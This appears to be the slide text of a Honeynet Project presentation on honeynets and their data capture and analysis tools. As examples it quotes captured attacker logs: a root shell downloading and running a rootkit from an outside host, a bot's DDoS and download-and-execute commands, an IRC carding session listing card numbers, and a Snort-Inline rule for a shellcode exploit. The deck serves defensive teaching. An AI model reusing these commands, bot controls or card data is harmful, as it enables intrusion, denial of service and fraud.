1. Honeynets and The Honeynet Project

2. Speaker

5. Honeynet Project

12. The Threat

15. The Threat

17. DDoS for Money J4ck: why don't you start charging for packet attacks? J4ck: "give me x amount and I'll take bla bla offline for this amount of time” J1LL: it was illegal last I checked J4ck: heh, then everything you do is illegal. Why not make money off of it? J4ck: I know plenty of people that'd pay exorbatent amounts for packeting

21. The Old Days Jan 8 18:48:12 HISTORY: PID=1246 UID=0 lynx www.becys.org/LUCKROOT.TAR Jan 8 18:48:31 HISTORY: PID=1246 UID=0 y Jan 8 18:48:45 HISTORY: PID=1246 UID=0 tar -xvfz LUCKROOT.TAR Jan 8 18:48:59 HISTORY: PID=1246 UID=0 tar -xzvf Lu Jan 8 18:49:01 HISTORY: PID=1246 UID=0 tar -xzvf L Jan 8 18:49:03 HISTORY: PID=1246 UID=0 tar -xzvf LUCKROOT.TAR Jan 8 18:49:06 HISTORY: PID=1246 UID=0 cd luckroot Jan 8 18:49:13 HISTORY: PID=1246 UID=0 ./luckgo 216 210 Jan 8 18:51:07 HISTORY: PID=1246 UID=0 ./luckgo 200 120 Jan 8 18:51:43 HISTORY: PID=1246 UID=0 ./luckgo 64 120 Jan 8 18:52:00 HISTORY: PID=1246 UID=0 ./luckgo 216 200

25. Bots ddos.synflood [host] [time] [delay] [port] starts an SYN flood ddos.httpflood [url] [number] [referrer] [recursive = true||false] starts a HTTP flood scan.listnetranges list scanned netranges scan.start starts all enabled scanners scan.stop stops all scanners http.download download a file via HTTP http.execute updates the bot via the given HTTP URL http.update executes a file from a given HTTP URL cvar.set spam_aol_channel [channel] AOL Spam - Channel name cvar.set spam_aol_enabled [1/0] AOL Spam - Enabled?

29. The Sting

30. Getting the Info

33. Credit Cards Exchanging 04:55:16 COCO_JAA: !cc 04:55:23 {Chk}: 0,19(0 COCO_JAA 9)0 CC for U :4,1 Bob Johns|P. O. Box 126|Wendel, CA 25631|United States|510-863-4884|4407070000588951 06/05 (All This ccs update everyday From My Hacked shopping Database - You must regular come here for got all this ccs) 8*** 9(11 TraDecS Chk_Bot FoR #goldcard9) 04:55:42 COCO_JAA: !cclimit 4407070000588951 04:55:46 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur MasterCard (5407070000788951) : 0.881 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel) 04:56:55 COCO_JAA: !cardablesite 04:57:22 COCO_JAA: !cardable electronics 04:57:27 {Chk}: 0,19(0 COCO_JAA 9)0 Site where you can card electronics : *** 9(11 TraDecS Chk_bot FoR #goldcard9) 04:58:09 COCO_JAA: !cclimit 4234294391131136 04:58:12 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur Visa (4264294291131136) : 9.697 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel)

35. Honeynets

43. Honeynet Architecture

45. No Data Control

46. Data Control

47. Snort-Inline alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFF|/bin/sh"; alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:"DNS EXPLOIT named";flags: A+; content:"|CD80 E8D7 FFFFFF|/bin/sh"; replace: "| 0000 E8D7 FFFFFF|/ ben/sh ";)

50. Sebek Architecture

55. First Boot

56. Install

57. Configure

60. Dialog Menu

61. Data Administration

63. Walleye

64. Data Analysis

65. Data Analysis Flows

66. Data Analysis Details

67. Processes

68. Files

69. Distributed Capabilities

72. Learning More

74. Our Book http://www.honeynet.org/book

75. Sponsoring YOU? Advanced Network Management Lab